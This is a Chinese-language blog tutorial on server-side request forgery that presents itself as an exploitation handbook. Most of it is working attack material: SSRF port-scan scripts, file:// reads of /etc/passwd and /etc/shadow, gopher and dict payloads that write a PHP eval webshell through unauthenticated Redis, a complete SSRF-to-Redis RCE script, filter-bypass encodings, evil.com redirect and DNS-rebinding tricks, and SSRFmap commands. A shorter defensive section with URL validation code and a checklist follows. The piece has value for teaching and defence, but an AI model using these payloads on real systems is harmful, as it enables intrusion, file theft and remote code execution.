SSRF服务端请求伪造完全指南:从原理到实战的漏洞利用手册

发布时间:2026/9/30 4:21:38

SSRF服务端请求伪造完全指南:从原理到实战的漏洞利用手册 “SSRF是什么”“SSRF能做什么”“怎么绕过SSRF限制”SSRFServer-Side Request Forgery是Web安全中最危险的漏洞之一。它允许攻击者让服务器代替自己去发起请求从而访问内网资源、读取文件、甚至攻击内部服务。SSRF之所以危险是因为它打破了外网不能访问内网的安全边界。Web服务器通常在内网中它能访问的内网资源是攻击者从外部无法直接访问的。通过SSRF攻击者借了服务器的身份实现了对内网的探测和攻击。我第一次挖到SSRF是在一个图片代理功能中urlhttp://127.0.0.1:6379直接访问了内网Redis然后利用Redis未授权写了个Webshell。整个攻击链从SSRF到Getshell不到10分钟。今天我把SSRF的完整知识整理出来漏洞原理、利用场景、绕过技巧、防御方案。看完这篇你对SSRF会有一个系统化认知。⚠️ 注意本文仅用于授权的安全测试和教育目的严禁用于非法用途。一、SSRF基础什么是SSRF SSRFServer-Side Request Forgery是指Web应用提供了从其他服务器获取数据的功能攻击者利用该功能让服务器发起攻击者指定的请求从而访问内网资源、读取文件或攻击内部服务。SSRF原理// 漏洞代码示例$url$_GET[url];// 服务端直接请求用户传入的URL$contentfile_get_contents($url);echo$content;正常使用?urlhttp://api.weather.com/data服务器请求天气API。SSRF利用?urlhttp://127.0.0.1:6379服务器请求内网Redis。SSRF危害危害说明示例内网探测扫描内网端口和服务端口扫描读取文件读取服务器本地文件file:///etc/passwd攻击内网服务利用内网服务漏洞Redis未授权命令执行通过协议触发命令gopher://数据泄露获取内网敏感数据访问内部API权限提升从SSRF到RCERedis写Webshell二、SSRF常见利用场景1. 内网端口扫描# 通过SSRF扫描内网端口 ?urlhttp://127.0.0.1:22 → 开放则返回SSH Banner ?urlhttp://127.0.0.1:80 → 开放则返回Web页面 ?urlhttp://127.0.0.1:3306 → 开放则返回MySQL信息 ?urlhttp://127.0.0.1:6379 → 开放则返回Redis信息 ?urlhttp://127.0.0.1:27017 → 开放则返回MongoDB信息通过响应差异判断端口开放状态响应特征端口状态返回正常内容开放连接超时关闭/被过滤连接拒绝关闭返回错误但非超时开放协议不匹配端口扫描脚本importrequestsdefssrf_port_scan(base_url,target_ip,ports):通过SSRF扫描内网端口results[]forportinports:payloadfhttp://{target_ip}:{port}urlf{base_url}?url{payload}try:resprequests.get(url,timeout5)# 判断端口状态ifresp.status_code200andlen(resp.text)0:print(f[]{target_ip}:{port}OPEN)results.append((port,OPEN,len(resp.text)))elifConnection refusedinresp.text:print(f[-]{target_ip}:{port}CLOSED)results.append((port,CLOSED,0))else:print(f[?]{target_ip}:{port}UNKNOWN)results.append((port,UNKNOWN,len(resp.text)))exceptrequests.Timeout:print(f[!]{target_ip}:{port}TIMEOUT/FILTERED)results.append((port,FILTERED,0))returnresults# 使用basehttp://target.com/fetchscanssrf_port_scan(base,127.0.0.1,[22,80,443,3306,6379,8080])2. 读取本地文件# 利用file://协议读取文件 ?urlfile:///etc/passwd ?urlfile:///etc/shadow ?urlfile:///proc/self/environ ?urlfile:///var/www/html/config.php ?urlfile:///C:/Windows/win.ini # Windows3. 攻击内网Redis# Redis未授权 → 写Webshell ?urlhttp://127.0.0.1:6379/ # 但HTTP协议无法直接发送Redis命令 # 需要使用gopher协议Gopher协议攻击Redisimporturllib.parsedefgenerate_redis_payload():生成Redis写Webshell的Gopher payload# Redis命令cmd[FLUSHALL,SET webshell ?php eval($_POST[cmd]);?,CONFIG SET dir /var/www/html,CONFIG SET dbfilename shell.php,SAVE,QUIT]# 构造Redis RESP协议payloadforcincmd:payloadf*1\r\n${len(c)}\r\n{c}\r\n# URL编码encodedurllib.parse.quote(payload)# 构造gopher URLgopher_urlfgopher://127.0.0.1:6379/_{encoded}returngopher_url# 生成payloadurlgenerate_redis_payload()print(fSSRF URL:{url})# 使用?url{url}4. 攻击内网MySQLimporturllib.parsedefgenerate_mysql_payload():生成MySQL查询的Gopher payload# MySQL协议需要特定的握手和认证# 如果MySQL允许无密码连接部分旧版querySELECT ?php eval($_POST[cmd]); ? INTO OUTFILE /var/www/html/shell.php# 简化的payload构造# 实际利用需要完整的MySQL协议握手# 使用gopherus工具# python2 gopherus.py --exploit mysqlpass# 推荐使用gopherus工具# git clone https://github.com/tarwich/gopherus.git5. 攻击内网FastCGI# 使用gopherus生成FastCGI payloadpython2 gopherus.py--exploitfastcgi# 输入Web根目录和命令# 生成gopher URL6. 利用dict协议# dict协议探测端口 ?urldict://127.0.0.1:6379/info ?urldict://127.0.0.1:6379/config:get:dir # dict协议执行Redis命令 ?urldict://127.0.0.1:6379/set:x:?php phpinfo();? ?urldict://127.0.0.1:6379/config:set:dir:/var/www/html ?urldict://127.0.0.1:6379/config:set:dbfilename:shell.php ?urldict://127.0.0.1:6379/save三、SSRF可利用协议协议说明利用场景http://HTTP请求内网Web/端口扫描https://HTTPS请求内网Webfile://读取文件读取本地文件dict://字典协议端口探测/Redis命令gopher://万能协议攻击Redis/MySQL/FTPftp://FTP协议内网FTP/被动模式攻击ldap://LDAP协议内网LDAPtftp://TFTP协议简单文件传输四、SSRF绕过技巧1. IP地址绕过当服务端过滤了127.0.0.1和localhost# 十进制IP ?urlhttp://2130706433/ # 127.0.0.1的十进制 # 八进制 ?urlhttp://0177.0.0.1/ # 127.0.0.1的八进制 # 十六进制 ?urlhttp://0x7f000001/ # 127.0.0.1的十六进制 # 混合编码 ?urlhttp://0177.0.0.1/ ?urlhttp://0x7f.0.0.1/ # IPv6 ?urlhttp://[::1]/ ?urlhttp://[::ffff:127.0.0.1]/ # 短链接 ?urlhttp://t.cn/xxxx # 短链接指向127.0.0.1 # 域名解析 # 注册一个域名解析到127.0.0.1 ?urlhttp://evil.com/ # evil.com A记录 → 127.0.0.12. URL绕过# 利用符号 ?urlhttp://evil.com127.0.0.1/ # 实际访问127.0.0.1 # 利用#号 ?urlhttp://127.0.0.1#evil.com/ # 利用反斜杠 ?urlhttp://127.0.0.1\evil.com/ # 封闭字母数字 ?urlhttp://①②⑦.⓪.⓪.①/ # CRLF注入 ?urlhttp://127.0.0.1%0d%0aHost:evil.com3. DNS Rebinding# DNS Rebinding原理# 1. 攻击者注册域名 rebinding.evil.com# 2. DNS第一次解析返回外网IP通过检查# 3. DNS第二次解析返回127.0.0.1实际请求内网# 工具rbndr.us# 配置两个IPDNS交替返回# http://1.2.3.4.127.0.0.1.rbndr.us/# 第一次解析1.2.3.4外网通过验证# 第二次解析127.0.0.1内网实际请求4. 302跳转绕过# 如果服务端只检查URL但跟随跳转# 在自己的服务器上设置302跳转# redirect.php?php header(Location: http://127.0.0.1:6379/);?# 利用?urlhttp://evil.com/redirect.php# 服务端检查evil.com → 通过# 跟随302 → 访问127.0.0.1:6379绕过技巧总结绕过方式说明示例IP编码十进制/八进制/十六进制2130706433IPv6使用IPv6地址[::1]符号URL的 userinfoevil127.0.0.1短链接短链接服务t.cn/xxxDNS RebindingDNS重新绑定rbndr.us302跳转重定向到内网Location头域名解析自定义域名A记录evil.com→127.0.0.1CRLF利用换行注入%0d%0a五、SSRF实战案例案例1图片代理SSRF# 漏洞URL GET /imageProxy?urlhttp://example.com/image.jpg # 利用 GET /imageProxy?urlhttp://127.0.0.1:6379/ GET /imageProxy?urlfile:///etc/passwd GET /imageProxy?urlhttp://192.168.1.0/24案例2Webhook SSRF# 漏洞URL POST /api/webhook {url: http://127.0.0.1:8080/internal-api} # 利用 {url: http://127.0.0.1:6379/} {url: gopher://127.0.0.1:6379/_...}案例3PDF导出SSRF# 漏洞URL POST /api/export-pdf {html: iframe srchttp://127.0.0.1:6379//iframe} # 利用 {html: img srchttp://127.0.0.1//}案例4从SSRF到Redis RCE# 完整攻击链# 1. 发现SSRF# 2. 探测内网Redis# 3. 生成Gopher payload# 4. 写入Webshell# 5. 连接Webshellimportrequestsimporturllib.parsedefssrf_redis_rce(ssrf_url,web_root):SSRF利用Redis写Webshell# Redis命令redis_cmdf FLUSHALL CONFIG SET dir{web_root}CONFIG SET dbfilename shell.php SET x ?php eval($_POST[cmd]);? SAVE # 构造gopher payloadpayloadforlineinredis_cmd.strip().split(\n):lineline.strip()payloadf*1\r\n${len(line)}\r\n{line}\r\nencodedurllib.parse.quote(payload)gopher_urlfgopher://127.0.0.1:6379/_{encoded}# 通过SSRF发送resprequests.get(ssrf_url,params{url:gopher_url})# 检查Webshell是否写入成功shell_urlfhttp://target.com/shell.phpcheckrequests.get(shell_url)ifcheck.status_code200:print([] Webshell写入成功!)print(f{shell_url})else:print([-] 写入失败)# 使用# ssrf_redis_rce(http://target.com/fetch, /var/www/html)六、SSRF防御方案1. 输入验证importipaddressimportredefvalidate_ssrf_url(url):验证URL防止SSRF# 1. 解析URLparsedurllib.parse.urlparse(url)# 2. 只允许HTTP/HTTPS协议ifparsed.schemenotin[http,https]:returnFalse,只允许HTTP/HTTPS协议# 3. 解析域名hostnameparsed.hostnameifnothostname:returnFalse,无效的域名# 4. 禁止内网IPtry:ipipaddress.ip_address(hostname)ifip.is_privateorip.is_loopbackorip.is_link_local:returnFalse,禁止访问内网地址except:pass# 域名而非IP# 5. 禁止特殊域名blocked_domains[localhost,0.0.0.0,metadata.google.internal]ifhostnameinblocked_domains:returnFalse,禁止的域名# 6. 检查端口portparsed.portifportandportnotin[80,443,8080,8443]:returnFalse,禁止的端口returnTrue,URL安全2. DNS解析后验证importsocketdefsafe_request(url):DNS解析后再次验证IPparsedurllib.parse.urlparse(url)hostnameparsed.hostname# DNS解析try:ipsocket.gethostbyname(hostname)except:returnNone,DNS解析失败# 验证解析后的IPip_objipaddress.ip_address(ip)ifip_obj.is_privateorip_obj.is_loopback:returnNone,fDNS解析到内网IP:{ip}# 使用解析后的IP发起请求防止DNS Rebinding# 设置Host头headers{Host:hostname}responserequests.get(fhttp://{ip}{parsed.path},headersheaders)returnresponse,请求成功3. 防御Checklist防御措施说明白名单协议只允许http/https禁止内网IP过滤私有/环回地址DNS解析后验证防止DNS Rebinding禁止非常用端口只允许80/443禁止重定向或每次重定向重新验证错误信息处理不返回内部网络信息请求超时设置防止长时间扫描独立网络出口使用代理隔离4. 云元数据防护# AWS元数据http://169.254.169.254/latest/meta-data/# 阿里云元数据http://100.100.100.200/latest/meta-data/# 腾讯云元数据http://169.254.169.254/latest/meta-data/# 防护在SSRF过滤器中禁止169.254.0.0/16和100.100.100.0/24七、SSRF工具工具功能SSRFmapSSRF自动化利用GopherusGopher payload生成SSRF-TestingSSRF测试辅助server-side-request-pollution服务端请求污染interactshOOB带外检测SSRFmap使用# 安装gitclone https://github.com/swisskyrepo/SSRFmap.gitcdSSRFmap pip3install-rrequirements.txt# 使用python3 ssrfmap.py-rrequest.txt-purl-mportscan python3 ssrfmap.py-rrequest.txt-purl-mredis python3 ssrfmap.py-rrequest.txt-purl-mreadfiles学习资源SSRF是Web安全中最容易被低估的漏洞之一。很多开发者认为只是一个URL请求但实际上SSRF可以从一个简单的URL参数一步步升级到内网渗透、文件读取、甚至RCE。掌握SSRF需要理解HTTP协议、URL格式、各种网络协议gopher/dict/file以及内网服务的工作原理。从基础检测到高级绕过每一个环节都需要大量练习。如果你对网络安全和Web渗透感兴趣想系统学习更多知识——包括SSRF实战、OWASP Top 10漏洞、渗透测试全流程、CTF实战等——可以参考下面整理的完整学习资料包。内容涵盖SSRF漏洞从原理到实战OWASP Top 10漏洞详解Web渗透测试全流程内网渗透技术指南红蓝对抗与护网资料CTF之Web实战讲解Python安全编程实战渗透测试案例分享从零基础到实战进阶200节视频课程配套工具和靶场环境涵盖攻防对抗全生命周期。这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源总结维度要点原理服务端代替用户发起请求利用内网扫描/文件读取/攻击内部服务协议http/file/dict/gopher/ftp绕过IP编码/符号/DNS Rebinding/302跳转防御白名单IP验证DNS后验证禁重定向 SSRF的本质是借刀杀人——让服务器代替攻击者访问内网资源。防御的核心是不要信任用户提供的任何URL。————————————————
延伸阅读

更多相关文章

2026/9/30 4:16:38

数据字典从手工到自动化:元数据采集、字段注释与变更治理实战

1. 数据字典到底是什么:先从一个真实的混乱现场说起数据字典这个词,第一次听到的人十有八九会以为它跟《新华字典》沾点亲戚关系,或者以为是把公司所有数据汇总成一个大表格。我在带新人时最常说的一句话是:你先别急着理解定义&am…

2026/9/30 4:16:38

AI工程化实战:从零构建可交付AI系统

1. 这不是“搭积木”,而是亲手锻造AI系统的完整工程链“AI Engineering from Scratch”——看到这个标题,很多人第一反应是:“哦,又一个从零写个神经网络的教程?”但如果你真这么想,就完全误判了它的分量。…

2026/9/30 4:16:38

Python与Java核心差异解析:语法、运行机制与生态选型指南

做了七八年后端,又带了几年新人,最常听到的问题不是“怎么写接口”,而是“老大,我到底该学Python还是Java?”如果你也在刷这两门语言的入门教程、面试题、环境配置,恭喜你,这篇就是为你准备的。…

2026/9/30 5:26:41

低成本大模型微调实战:火山引擎+LoRA从训练到部署

先说说我最近被问得最多的一个问题:中小团队想做垂直领域的大模型微调,GPU 那么贵,到底怎么下手?市面上的选择又多,自己买卡不现实,纯调 API 又觉得不够灵活。我的答案很直接:把训练和部署交给成…

2026/9/30 5:26:41

RAG知识管道实战:从基础检索到Agentic RAG演进避坑指南

写这篇的时候我先把话说在前面:如果你以为RAG就是“向量数据库一问一答”拼在一起,那你迟早会在知识割裂、检索不到、生成乱编这三座大山上撞得头破血流。作为一个从0到1搭过多个AI Agent的从业者,这篇我就把知识获取管道这根主心骨彻底拆开揉…

2026/9/30 5:26:41

大模型微调成本全解析:从LoRA训练到部署的实战指南

先说个我上个月的真实经历:一个做企业知识库产品的朋友找到我,说他们准备给客户做定制问答模型,老板批了2万块钱预算。他一上来就问:微调一个大模型到底要烧多少钱?是租GPU还是自己买卡?火山引擎、阿里云、…

2026/9/30 5:26:41

Redis接入AI:从向量检索到语义缓存的RAG全栈实践

最近 Redis 官方这套组合拳打下来,新闻标题直接就是“Redis 已正式接入 AI ”。很多人第一反应是:Redis 一个存数据的键值库,凑什么 AI 的热闹?我一开始也这么想。但真正把一个带知识库的问答系统落地之后,我才发现事情…

2026/9/29 11:07:23

东莞市品牌网站建设报价常见报错与解决

东莞品牌网站建设报价单背后:一份保姆级建站教程避坑实录 网站做好了没人访问,这大概是很多老板最头疼的事。花了大几万做的品牌站,上线后流量惨淡,比路边摊还冷清。别急着骂外包公司,很多“东莞品牌网站建设报价”里藏着不少猫腻,比如用模板站冒充定制…

2026/9/29 21:48:03

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解 【免费下载链接】spirula-studio Cross-vendor 3D Gaussian Splatting trainer - video to splat to mesh, Vulkan or CUDA. 项目地址: https://gitcode.com/GitHub_Trending/sp/spirula-studio Sp…

2026/9/29 7:00:49

SEO怎么推广速查手册新手避坑实战指南

SEO怎么推广速查手册新手避坑实战指南 模板网站太丑不够用?别急着加滤镜,那是治标不治本。很多老板盯着后台流量掉得眼红,却还在纠结首页Banner的圆角是不是3像素。这就像穿着西装去挖土,姿势不对,努力白费。我整理这份 速查手册…

2026/9/30 0:01:22

MATLAB+Yalmip+CPLEX实战:综合能源系统优化调度全流程解析

做综合能源系统优化调度这活儿,最痛苦的不是建模本身,而是模型写完之后不知道该怎么求解。看论文里轻飘飘一句“采用Yalmip调用CPLEX求解”,自己上手时却往往卡在环境配置、变量声明、约束写法和求解状态判读上,一耗就是两三天。这…

2026/9/30 0:01:22

I3C比I2C快10倍?RK3576实战:速率、DTS配置与混合总线避坑指南

I3C 比 I2C 快 10 倍?这句话在嵌入式群里传了很久,每次都能吵出一堆截图。前段时间我正好在 RK3576 上调板级 I3C 接口,从控制器寄存器一路摸到 Linux DTS 配置,踩了不少坑,也把这笔速度账彻底算明白了。本文就用 RK35…

2026/9/30 0:01:22

字符串转对象:JSON.parse、new Function与URLSearchParams

“字符串转对象”这几个字,我在技术群里见过的问法至少有十几种:有人拿着一串{a:1,b:2}说 JSON.parse 直接报错,有人要从 URL 里抠出参数,还有人只是想把abc变成能挂属性的东西。js 这门语言里,字符串和对象之间的转换…

2026/9/29 3:53:39

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/29 9:46:12

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/29 6:36:14

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑